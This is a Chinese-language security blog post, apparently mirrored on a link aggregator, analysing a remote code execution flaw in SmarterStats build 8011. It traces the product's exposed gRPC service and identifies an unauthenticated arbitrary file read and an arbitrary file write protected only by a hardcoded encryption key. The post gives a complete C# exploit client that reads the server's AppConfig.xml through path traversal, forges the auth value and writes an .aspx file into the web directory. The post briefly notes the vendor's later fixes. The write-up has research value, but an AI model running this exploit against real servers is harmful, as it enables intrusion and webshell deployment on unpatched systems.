SmarterStats 基于gRPC的RCE
source link: https://y4er.com/post/smarterstats-grpc-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
SmarterStats 基于gRPC的RCE
老外又发洞了
2016 8011版本,下载地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe
安装可以看官方的文档 https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx
SSSvc.exe运行在50003端口上,默认监听0.0.0.0
拉到dnspy中看一下
main函数启动了一个SSCollect服务类。
服务类调用了ServiceWorker.StartService()
新起了一个线程运行ServiceLifetimeFunction函数
这里调了ServiceWorker.Start()
start中调用GrpcManager.StartGrpc()
开启监听gRPC。
继续看gRPC,在StartGrpc中,定义了四个服务
- Query -> QueryServiceImplementation
- SiteList -> SiteListServiceImplementation
- ServiceOperations -> ServiceOperationsServiceImplementation
- SiteControl -> SiteControlServiceImplementation
并且端口绑定在0.0.0.0:50003上
随便点开一个服务实现来看 QueryServiceImplementation
ServiceOperationsServiceImplementation
能看到grpc的远程调用函数实现。
先来试一下调用。创建一个csharp的grpc项目,可以直接用gRPC的example 项目
在Query.BindService(new QueryServiceImplementation()).Intercept(interceptor)
的Query类中,给了我们rpc client的工具类
直接把这个dll加入到引用中,然后代码如下。
这样就调用到了SStatSvc.Communication.QueryServiceImplementation.GetAvailableQueries(GetAvailableQueriesRequest, ServerCallContext)
那么接下来就是简单的寻找漏洞点了。
SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite(GetExportedLogsForSiteRequest, IServerStreamWriter<GetExportedLogsForSiteResponse>, ServerCallContext)
任意文件读取
这里需要关闭dnspy的编译优化才能看到具体逻辑
SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo(SaveFileToRequest, ServerCallContext)
任意文件写入
有个加密key硬编码,等于没用。
using Grpc.Core;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using SmarterStats.Config.Protos;
using Google.Protobuf.WellKnownTypes;
using SmarterStats.Config.Utility;
using System.IO;
using Google.Protobuf;
namespace Routeguide
{
class Program
{
static async Task<int> Main(string[] args)
{
var channel = new Channel("172.16.16.132:50003", ChannelCredentials.Insecure);
ServiceOperations.ServiceOperationsClient client = new ServiceOperations.ServiceOperationsClient(channel);
GetExportedLogsForSiteRequest request = new GetExportedLogsForSiteRequest();
request.FileToDownload = @"..\..\MRS\App_Data\Config\AppConfig.xml";
AsyncServerStreamingCall<GetExportedLogsForSiteResponse> asyncServerStreamingCall = client.GetExportedLogsForSite(request);
while (await asyncServerStreamingCall.ResponseStream.MoveNext())
{
Console.WriteLine(asyncServerStreamingCall.ResponseStream.Current.Data.ToStringUtf8());
}
SaveFileToRequest saveFileToRequest = new SaveFileToRequest();
saveFileToRequest.Filename = @"C:\Program Files (x86)\SmarterTools\SmarterStats\MRS\test.aspx";
CryptographyHelper cryptographyHelper = new CryptographyHelper(0);
Timestamp timestamp = Timestamp.FromDateTime(DateTime.UtcNow);
saveFileToRequest.CreationDate = timestamp;
saveFileToRequest.LastWriteDate = timestamp;
cryptographyHelper.SetKey(saveFileToRequest.CreationDate.ToDateTime().ToString("MMddyyyy") + " ksghsfkgjh", null);
string auth = cryptographyHelper.EncodeToBase64(saveFileToRequest.Filename);
saveFileToRequest.Auth = auth;
saveFileToRequest.FileData = ByteString.CopyFromUtf8(File.ReadAllText(@"1.txt"));
client.SaveFileTo(saveFileToRequest);
Console.WriteLine("write done.");
Console.ReadKey();
return 0;
}
}
}
GetExportedLogsForSite文件读取截取了文件名并且加了鉴权
SaveFileTo 文件写入限制了后缀白名单并且正则限制了路径
SmarterStats中为gRPC提供了一个ServiceOperations.ServiceOperationsClient类方便客户端调用,如果没有这个类我们应该怎么构造rpc协议?涉及到rpc,存不存在反序列化问题呢?
wireshark抓包可以看到grpc的请求结构,包括uri、ua、params等,这个东西等我学了之后再说吧。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK